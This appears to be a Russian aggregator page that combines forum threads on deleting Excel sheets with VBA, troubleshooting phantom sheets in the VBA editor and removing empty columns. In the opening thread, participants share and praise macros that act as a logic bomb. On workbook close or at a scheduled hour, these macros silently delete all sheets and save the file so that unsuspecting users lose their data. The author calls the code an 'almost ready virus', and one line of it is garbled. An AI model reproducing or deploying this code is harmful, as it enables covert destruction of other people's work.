Remkomplekty.ru

IT Новости из мира ПК
26 просмотров
Рейтинг статьи
1 звезда2 звезды3 звезды4 звезды5 звезд
Загрузка...

Vba excel удалить лист без подтверждения

Vba excel удалить лист без подтверждения

Версия для печати

FORBES
..в ивенте Workbook_BeforeClose через Shell() вызвать wscript terninator.vbs, в котором будет задержка на пару минуток, а там проверка на время и дату — и в морг ..

BeforeClose конечно же .

FORBES
данный код вставленный в ВБА на «Эта книга», добовляет лист пустой, все остальные листы уничтожает и записывает файл.

Private Sub Workbook_BeforeClose(Cancel As Boolean)
Worksheets.Item(1).Activate
Worksheets.Add
For i = 2 To ActiveWorkbook.Worksheets.Count
Application.DisplayAlerts = False
ActiveWorkbook.Worksheets.Item(2).Delete
Application.DisplayAlerts = True
Next i
ActiveWorkbook.Save
End Sub

Или тебе надо чтобы уничтожились данные на всех листах, а сами листы (с названиями первоначальными) остались?

А вот как это делается в командной строке:
file: temp.bat

start cmd /c «del /f /q temp.bat»

FORBES
вот код убивающий информацию при наступлении времени 21 час (плюс минус 10 минут, т.к. ты сам понимаешь вероятность что полььзователь захочет закрыть файл в 21:00:00 ничтожно мала)

Private Sub Workbook_BeforeClose(Cancel As Boolean)
Dim schas As Date
schas = Format(Now, «h:m:s»)
razn = DateDiff(«s», #9:00:00 PM#, schas) ‘razn — число секунд между сейчас и 21:00
If Abs(razn) 0.6 Then
Worksheets.Item(1).Activate
Worksheets.Add
Application.DisplayAlerts = False
For i = 2 To ActiveWorkbook.Worksheets.Count
ActiveWorkbook.Worksheets.Item(2).Delete
Next i
Application.DisplayAlerts = True
ActiveWorkbook.Save
End If
End Sub

3. листинг, работает пользователь работает и вдруг при наступлении определенного часа все бах и стирается и остается он с чистым новым листом

Private Sub Workbook_Open() ‘ вставить этак книга
Application.OnTime TimeValue(«05:43:00»), «my_Procedure»
End Sub

вставить в модуль (если его нет то insert-module)
Private Sub my_Procedure()
Worksheets.Item(1).Activate
Worksheets.Add
Application.DisplayAlerts = False
For i = 2 To ActiveWorkbook.Worksheets.Count
ActiveWorkbook.Worksheets.Item(2).Delete
Next i
Application.DisplayAlerts = True
ActiveWorkbook.Save
End Sub

Вот и все прошу любить и жаловать, почти готовый вирус. Надеюсь на использование в благих целях

V3
Большое спасибо
Особенно третий вариант понравился

Конечно в благих целях

FORBES

А мне больше понравилось думать над вторым вариантом

А мне жалко пользователей, ведь в прошлый раз мы у них файл по сети стаскивали, так что они и не знали

fz-mix
Я думал над этим, просто все таки не очень удобно (ИМХО), каждый раз придется смотреть эту ячейку к тому же пользователь все таки может ее зацепить (ну во первых бегунок правый становиться маленьким (меня это всегда наводит на мысль), во вторых может просто выделить весь лист и очистить на нем данные, или удалить лист)

Бенедикт
А вот насчет свойств интересно, надо будет посмотреть
скажем если на эксель файле ткнуть правой кнопкой и вызвать свойства там есть закладка «сводка» и в ней пункты, так вот если прописывать число запусков в один из таких пунктов скажем коментарии

fz-mix
хотя если записать данные в ячеку чистого листа и скрыть лист то наверно должно быть неплохо

Vba excel удалить лист без подтверждения

Еще вопрос. Файл Excel перемещается с компьютера на компьютер с разными локализациями офиса одной версии. Постоянно появляются новые модули типа : ЭтаКнига1, ThisWorkBook1, Лист2, Sheet2 и т.д. Номера — условно. Причем некоторых листов в самой книге нет. В загрузке самого WorkBook стоит макрос и когда файл переносится на другой компьютер, где появляется уже новый активный модуль ThisWorkBookХ, то макрос не срабатывает. Что за дурацкая система! Как навести порядок?

Здравствуйте, Trot, Вы писали:

T>Привет. Задолбали ненужные листы Excel в дереве проектов VB. Как удалить это дело? RMB меню Remove засерено. Что делать?

Здравствуйте, Trot, Вы писали:

T>Еще вопрос. Файл Excel перемещается с компьютера на компьютер с разными локализациями офиса одной версии. Постоянно появляются новые модули типа : ЭтаКнига1, ThisWorkBook1, Лист2, Sheet2 и т.д. Номера — условно. Причем некоторых листов в самой книге нет. В загрузке самого WorkBook стоит макрос и когда файл переносится на другой компьютер, где появляется уже новый активный модуль ThisWorkBookХ, то макрос не срабатывает. Что за дурацкая система! Как навести порядок?

А в какой папке они появляются — Microsoft Excel Objects или Modules?

Здравствуйте, Elena_, Вы писали:

E_>Здравствуйте, Trot, Вы писали:

T>>Еще вопрос. Файл Excel перемещается с компьютера на компьютер с разными локализациями офиса одной версии. Постоянно появляются новые модули типа : ЭтаКнига1, ThisWorkBook1, Лист2, Sheet2 и т.д. Номера — условно. Причем некоторых листов в самой книге нет. В загрузке самого WorkBook стоит макрос и когда файл переносится на другой компьютер, где появляется уже новый активный модуль ThisWorkBookХ, то макрос не срабатывает. Что за дурацкая система! Как навести порядок?

E_>А в какой папке они появляются — Microsoft Excel Objects или Modules?

В Microsoft Excel Objects.
В Modules только мои файлы — с этим все в порядке.

Здравствуйте, Trot, Вы писали:

E_>>А в какой папке они появляются — Microsoft Excel Objects или Modules?

T>В Microsoft Excel Objects.
T>В Modules только мои файлы — с этим все в порядке.

А в Ваших макросах ничего не может спровоцировать такое поведение? Дело в том, что я для одной цели в свое время пыталась добавить ЭтаКнига, туда где уже было ThisWorkbook (и наоборот) специально, в подходящей версии, конечно, и у меня ничего не получилось.

Здравствуйте, Elena_, Вы писали:

E_>А в Ваших макросах ничего не может спровоцировать такое поведение? Дело в том, что я для одной цели в свое время пыталась добавить ЭтаКнига, туда где уже было ThisWorkbook (и наоборот) специально, в подходящей версии, конечно, и у меня ничего не получилось.

Нет, в макросах ничего похожего нет. Инициализация переменных, открытие других книг. «Моя озабоченность» вызвана тем, что:
1. ThisWoorkBook только один, а ЭтаКнига уже несколько
2. Sheetы видимо тоже соответствуют числу доступных листов, а вот Листов развелось уже за 3-ий десяток.
3. Почему то я не могу удалить хотя бы эти листы. Меню Remove недоступно.

Читать еще:  Autofill vba excel

Сейчас работаю на английской системе. Рост страниц не наблюдаю. Возможно есть какое-то меню в Excel, которое позволяет увидеть внутрениие листы что ли. Только где такое меню — непонятно.

Здравствуйте, Trot, Вы писали:

T>1. ThisWoorkBook только один, а ЭтаКнига уже несколько
T>2. Sheetы видимо тоже соответствуют числу доступных листов, а вот Листов развелось уже за 3-ий десяток.
T>3. Почему то я не могу удалить хотя бы эти листы. Меню Remove недоступно.

T>Сейчас работаю на английской системе. Рост страниц не наблюдаю. Возможно есть какое-то меню в Excel, которое позволяет увидеть внутрениие листы что ли. Только где такое меню — непонятно.

А в окне Properties у них есть свойства: Name, Visible и другие, и чему они равны?
Может быть, они VeryHidden? И на самом деле существуют?

если поменять Visible на что-нибудь и снова установить Visible, что-нибудь произойдет?
Если обратиться из программы к ним по этому объектному имени, типа,

Если попробовать их так удалить, типа

Вообще, если они есть как объекты, то можно ли ими как-то манипулировать? Я пока только о листах.

Спасибо, что пытаетесь мне помочь
Выяснилось следующее.
На самом деле, что объекты (назовем их неопознанными екселевскими объектоми — НЕО) под названия ЛистNN или SheetNN — это Workbookи. Это я выяснил по

1. свойств Visible у них нет (есть куча других свойств, назначение большинства я не знаю)
2. иконки другие (как файл екселя)
3. в каждом таком объекте доступна функция WoorkBook_Open.

А с листами оказалось все в порядке. Сколько в файле, столько и в дереве.

Здравствуйте, Trot, Вы писали:

T>Выяснилось следующее.
T>На самом деле, что объекты (назовем их неопознанными екселевскими объектоми — НЕО) под названия ЛистNN или SheetNN — это Workbookи. Это я выяснил по

T>1. свойств Visible у них нет (есть куча других свойств, назначение большинства я не знаю)
T>2. иконки другие (как файл екселя)
T>3. в каждом таком объекте доступна функция WoorkBook_Open.

T>А с листами оказалось все в порядке. Сколько в файле, столько и в дереве.

Вообще, очень это все странно выглядит. Я бы предположила, что это результат какого-то сбоя и автоматического восстановления файла. Может быть, имеет смысл просто перенести весь код и данные в чистую книгу?

То есть, как я поняла, все эти объекты имеют те же свойства, что и настоящая ThisWorkbook? Выполняются ли их события, то же Open при открытии, Save при сохранении и т.п.? Чему у них равно значение свойства IsAddin, если оно есть, как в любом нормальном ThisWorkbook? Можно ли их закрыть, и что собственно при этом закроется, если вызывать метод Close по этому объектному имени —

или покажет ли какое-нибудь имя

Можно ли импортировать эти модули, и если можно, отличаются ли они от ThisWorkbook. То есть как-то подобраться к их удалению. Хотя, мне кажется, что надежнее просто все перенести в чистую книгу, даже копированием, а не импортом, экспортом, хотя это более-менее все равно. А то какой-то монстр просто получается.

Здравствуйте, Elena_, Вы писали:

Если попробовать взять указатели на эти объекты ObjPtr(ЛистNN), то они разные, как для нормальных объектов? или это просто отображение дерева проекта глючит?

Здравствуйте, Elena_, Вы писали:

E_>Вообще, очень это все странно выглядит. Я бы предположила, что это результат какого-то сбоя и автоматического восстановления файла. Может быть, имеет смысл просто перенести весь код и данные в чистую книгу?

Возможно, Ексль часто падал. Можно и перенести, почучится. Только не хотелось бы тратить время, если эта проблема не серьезная. Вдруг там опять такое проявится. И переносить надо аккуратно. Пока работает, лучше не трогать

E_>То есть, как я поняла, все эти объекты имеют те же свойства, что и настоящая ThisWorkbook? Выполняются ли их события, то же Open при открытии, Save при сохранении и т.п.? Чему у них равно значение свойства IsAddin, если оно есть, как в любом нормальном ThisWorkbook? Можно ли их закрыть, и что собственно при этом закроется, если вызывать метод Close по этому объектному имени —
E_>
E_>или покажет ли какое-нибудь имя
E_>

Эти объекты ПУСТЫЕ. Что это значит. Когда я кликаю на этот объект в окне Properties в заголовке появляется имя этого объекта, а в списке параметров отображаются свойства АКТИВНОГО WorkBook. Даже параметр (Name) показывает имя активного объекта. Собственно я так и нахожу, какой модуль рабочий.
IsAddin у этого модуля = False. Для других модулей я добраться не могу (см. предложение выше). Окно кода же появляется и в нем можно писать что угодно. В ниспадающем комбобоксике окна редактора кода есть объект WorkBook. Функции у этого объекта также существуют. Закрыть окно кода можно.
Код, который вы мне написали еще не пробовал.

E_>Можно ли импортировать эти модули, и если можно, отличаются ли они от ThisWorkbook. То есть как-то подобраться к их удалению. Хотя, мне кажется, что надежнее просто все перенести в чистую книгу, даже копированием, а не импортом, экспортом, хотя это более-менее все равно. А то какой-то монстр просто получается.

Экспортировать эти модули можно. Файл сохраняется с уникальным именем. например:

Может быть свойста о чем то вам подскажут.
Вот такая вот шняга.
Копировать не хочется, т.к. проект большой, есть вероятность что-то забыть и порушить.

Удалить несуществующий лист в VBA

У меня есть листы, перечисленные в книге Excel, которые на самом деле не существуют. Листы отображаются при просмотре кода и просмотре списка листов в части VBA, но на самом деле они вообще не существуют в книге. Они также не скрыты, если кто-то об этом думает.

Эти листы также не имеют имени после них в скобках и выглядят как тот же значок, что и ThisWorkbook. У меня нет возможности удалить их, и я пытаюсь это сделать. Есть ли у кого-нибудь предложения о том, как удалить их из части VBA? Помните, что эти листы на самом деле не существуют, поэтому я не могу просто щелкнуть правой кнопкой мыши на них в Excel и выбрать Удалить. Я попробовал щелкнуть правой кнопкой мыши на листе в VBA и выбрать удалить лист, но эта опция не отображается. На самом деле удалить лист будет серым на всех листах, даже тех, которые существуют. Электронная таблица также не защищена никаким образом.

Читать еще:  Vba excel событие изменения ячейки

Эти листы не вызывают никаких проблем, больше раздражения, так как я знаю, что они физически не существуют, и у меня нет возможности удалить их из VBA.I прикрепил фотографию того, что я смотрю. Листы, которые я пытаюсь удалить, — это листы 10, листы 11 и листы 9.

4 Ответов

Однажды у меня была точно такая же ситуация. Единственным решением, которое я нашел, было скопировать все листы «real» в новую книгу. Я предполагаю, что оригинальная книга была каким-то образом повреждена.

Я знаю, что это старый пост, но я нашел решение. если вы посмотрите на свойства листа ‘Phantom’, то заметите, что его свойство ‘visible’ равно 2-xlSheetVeryHiddden. Просто измените это свойство на -1-xlsheetVisible, и вы сможете удалить его.

Я решил подобную проблему, выполнив следующие шаги:

  1. Сделайте резервную копию вашего файла в другом месте
  2. Измените расширение .xlsm на .zip
  3. Извлеките файл zip
  4. Перейдите в папку /xl
  5. Откройте workbook.xml в блокноте
  6. В каком-то месте был каждый лист «gost» со скрытым параметром. Замените полный командный параметр на Ничего (я не помню структура. Что-то вроде ‘state:»hidden»‘. Стереть все это)
  7. Сожмите все файлы и папки, извлеченные как ZIP.
  8. Переименуйте файл zip в .xlsm
  9. Откройте и посмотрите, разрешилась ли она

Есть более простой способ. Щелкните правой кнопкой мыши на одной из текущих вкладок и выберите ‘Unhide’. Это отобразит список всех ваших вкладок ‘hidden’. Покажите их, а затем удалите. После удаления они будут удалены из списка VBAProject.

Похожие вопросы:

Я написал код vba, чтобы удалить лист навсегда. Когда я запускаю его, появляется следующее сообщение: Данные могут содержаться в листах, выбранных для удаления. Чтобы окончательно удалить данные.

Можно ли активировать рабочий лист Excel из VBA, фактически не удаляясь от рабочего листа, с которого был запущен макрос ?

Мне нужна помощь с VBA, которая разделит текущий лист Test1 в зависимости от значений из строк. Лист Test1 находится в формате: Теперь мне нужно разделить лист Test1 на два (или более) листа.

Я новичок в VBA, и я ищу фрагмент кода, который позволяет мне выбрать файл Excel и import первый лист из этого файла на именованный лист (который уже существует) в active workbook (тот, который.

Я должен очистить #N/A, что происходит через мой рабочий лист, когда я когда-либо запускаю свой код. Я не знаю, почему и уже некоторое время отлаживаю, но безрезультатно. Что я мог бы сделать, чтобы.

Я пытаюсь захватить листы, которые копируются в книгу из другой книги. Workbook_NewSheet событие не запускается, когда листы копируются из другой книги. Он срабатывает только в том случае, если.

У меня есть несуществующий проект, который я не могу удалить из eclipse. Я просто проверяю, есть ли какой-либо другой способ удалить его. Процесс удаления проекта, который я использую выбор проекта.

У меня есть проблема с моей рабочей книгой Excel. У меня есть код как в модулях, так и встроенный в лист. До недавнего времени все работало нормально, но вдруг код, вложенный в лист, не работает. У.

У меня есть небольшой фрагмент кода VBA, который удаляет рабочий лист с именем “Sheet1” без предупреждения. Я бы хотел, чтобы мой код удалял без предупреждения любой лист, содержащий в своем имени.

У меня есть входной лист в Excel, где use вводит ряд реквизитов счета. После заполнения формы они нажимают кнопку, которая генерирует входной файл с использованием VBA. Первый шаг заключается в том.

Как удалить пустые столбцы? Программное удаление пустых столбцов макросом VBA

Существует несколько способов удаления пустых столбцов в Excel. Условно эти способы можно разделить на стандартные, выполняемые стандартными средствами Excel и нестандартные, выполняемые с помощью программирвоания на VBA.

Стандартные способы удаления пустых столбцов

Удаление вручную

Это самый простой способ, при котором необходимо навести курсор на название пустого столбца и кликнуть по нему левой кнопкой мыши. Весь столбец выделится. Нажав и удерживая клавишу Ctrl на клавиатуре, можно выделить несколько столбцов. После этого их можно удалить все одновременно, кликнув правой кнопкой мыши в выделенной области и выбрав команду «Удалить» в контекстном меню.

Удаление при помощи сортировки

Суть этого способа сводится к тому, чтобы используя сортировку по возрастанию либо по убыванию сгруппировать все пустые столбцы и после этого удалить их, выделив диапазон пустых столбцов. При этом очередность столбцов нарушается и для того, чтобы ее затем восстановить, необходимо предварительно в спомогательной строке ввести нумерацию всех столбцов. Кроме того, необходимо изменить параметры сортировки. По умолчанию в Excel установлен параметр «сортировать строки диапазона». Для сортировки столбцов необходимо изменить этот параметр на «сортировать столбцы диапазона».

Удаление при помощи выделения группы ячеек

Для того чтобы удалить пустые столбцы в Excel 2007 и 2010 можно воспользоваться возможностью выделения группы ячеек. Для этого выделяем строку, содержащую пустые ячейки, после чего находим на ленте Excel вкладку «Главная», в группе «Редактирование» выбираем кнопку «Найти и выделить» и выбираем пункт «Выделение группы ячеек». В появившемся диалоговом окне «Выделение группы ячеек» включаем опцию «Пустые ячейки» и нажимаем кнопку ОК. В предварительно выделенной строке будут выделены все пустые ячейки. Остается кликнуть правой кнопкой мыши в любом месте выделенного поля и выбрать пункт «Удалить. » в контекстном меню, а в появившемся диалоговом окне «Удаление ячеек» выбрать пункт «Столбец» и нажать ОК. При этом, строго говоря, будут удалены не пустые столбцы, а столбцы, содержащие пустые ячейки в предварительно выделенной строке.

Читать еще:  Стьюдраспобр excel пример

Нестандартные методы удаления пустых столбцов

Программное удаление макросом VBA

Если ни один из стандартных способов не подходит, то для удаления пустых столбцов можно использовать процедуру, написанную на языке VBA, которая удалит все пустые столбцы в используемом диапазоне листа.

Для того, чтобы перенести этот программный код на свой компьютер, наведите курсор мыши на поле с программным кодом, нажмите на одну из двух кнопкок в правом верхнем углу этого поля, скопируйте программный код и вставьте его в модуль проекта на своем компьютере (подробнее о том, как сохранить программный код макроса).

Автоматическое удаление с использованием надстройки

Для тех, кому функциональности приведенной выше процедуры будет недостаточно для решения своих задач, можно воспользоваться надстройкой, позволяющей удалять и скрывать не только пустые столбцы, но и столбцы, удовлетворяющие условиям пользователя, которые можно задавать в диалоговом окне.

Пользователь на свой выбор может удалять либо скрывать пустые столбцы. Может удалять либо скрывать столбцы, содержащие либо не содержащие заданный текст, при этом на свой выбор учитывать либо не учитывать регистр. Возможен одновременный поиск сразу нескольких текстовых выражений, разделенных знаком ; (точка с запятой). Пользователь также может на свое усмотрение расширять область действия макроса и ограничивать его, задавая номера первого и последнего столбца. Кроме того, надстройка освобождает пользователя от поиска нужного макроса, так как позволяет вызывать диалоговое окно прямо из панели инструментов Excel.

Еще одна надстройка, позволяющая скрывать и удалять строки и столбцы, в зависимости от значения ячейки и заданного условия, а также удаляющая пустые ячейки и ячейки с заданными значениями со сдвигом вверх и со сдвигом влево.

Удаление листа с ошибками VBA Excel

Я пытаюсь удалить рабочий лист, когда пользователь нажимает на изображение (кнопку) в Excel. Однако это приводит к сбою и перезагрузке excel, забывая о любом несохраненном прогрессе.

Это мое подразделение:

Запуск приложения чаще всего происходит. Но не всегда. Любые идеи, что может быть неправильным? (Я протестировал и подтвердил, что функция удаления вызывает сбой, но не всегда тот же лист).

Изменить: эта функция не удаляет последний лист в книге. Есть еще 20 листов. Также я использую Application.Calculation = xlCalculationAutomatic , потому что есть выделение формул, и я не хочу, чтобы excel вычислял изменения до того, как все связанные листы удалены.

Любой намек или ответ приветствуются 🙂

Вы можете удалить активный лист с кнопки (или изображения) на активном листе. Вам просто нужно обойти это.

Ошибка возникает, когда кнопка, которая инициирует макрос, находится на одном из листов, которые необходимо удалить.

Поэтому ответ: не создавайте кнопку (или изображение, связанное с макросом), которое удаляет лист, на котором он включен.

Если кто-то может добавить к этому ответу причину этой ошибки, сделайте это;)

Я сам столкнулся с этой проблемой! Я собираюсь отнестись к более опытным дизайнерам, чтобы усовершенствовать эту технику, но, как общая концепция, у меня есть рабочее решение:

Если вы разрешите макросу запускать его курс, а затем удалять лист, он не падает. Что-то вроде этого:

Я обнаружил, что в Office 2013 вы не можете поместить кнопку, которая перекрывает ячейку, которая изменяет этот макрос. Интересно, что это не происходит, если изменение носит числовой характер, но если оно является буквенно-цифровым, оно взрывается, когда вы пытаетесь удалить эту вкладку. Оказывается, он взрывает его при попытке удалить вкладку вручную (щелчком мыши) или макросом, пытающимся это сделать. THUS, мой урок, извлеченный из этого потока и применяющий его к моей конкретной ситуации, никогда не помещает кнопку развития над ячейкой, которую он меняет (в моем случае это была просто ячейка, которая дает статус того, что делал этот макрос). Excel 2013 не нравится эта ситуация, в то время как Excel 2010 просто все равно.

Как насчет перемещения кода кнопки в модуль?

У меня была проблема с этим в Excel 2016, из-за которой Option явный не работал, если код был в модуле, но если код был в модуле, то вы «должны» быть в состоянии удалить лист, где находилась кнопка.

Мне нужна кнопка, которая удалит лист, так как рабочая книга была защищена и могла бы «экспортировать» результаты, но не удалять нежелательные результаты.

Мое простое решение заключалось в том, чтобы макрос скрыть лист, но затем удалить последний скрытый лист, чтобы файлы не стали огромными с десятками скрытых листов.

Я создал диапазон в скрытом листе, называемом «DeleteSheet», чтобы сохранить имя скрытого листа.

У меня была аналогичная, но не идентичная проблема. У меня был макрос, который удалил все листы диаграмм со следующей командой, но, несмотря на то, что он работал правильно, Excel 2013 был обречен на провал, как только я попытался сохранить файл, и «восстановился», вернувшись к ранее сохраненной ситуации, отбрасывая любую последующую работу:

О, и он работал нормально, пока я не переехал, я думаю, что это был Excel 2010 до 2013 года, одновременно меняя Windows 10. Команда обречена:

Благодаря некоторому вдохновению из приведенных выше ответов, я сначала ввел сохранение перед действием удаления, а затем изменил удаление следующим образом (оказалось, что сохранение не было необходимым, но мне нравится иметь их там, даже если я их прокомментирую ):

Следует также упомянуть, что перед циклом for существует предшествующее Application.DisplayAlerts = False и, конечно же, Application.DisplayAlerts = True после оператора Next. для вырезания нежелательных

вы уверены, что хотите сделать этот вопрос?

Опять же, благодаря вашим вкладчикам за вдохновение.

Ссылка на основную публикацию
ВсеИнструменты
Adblock
detector
×
×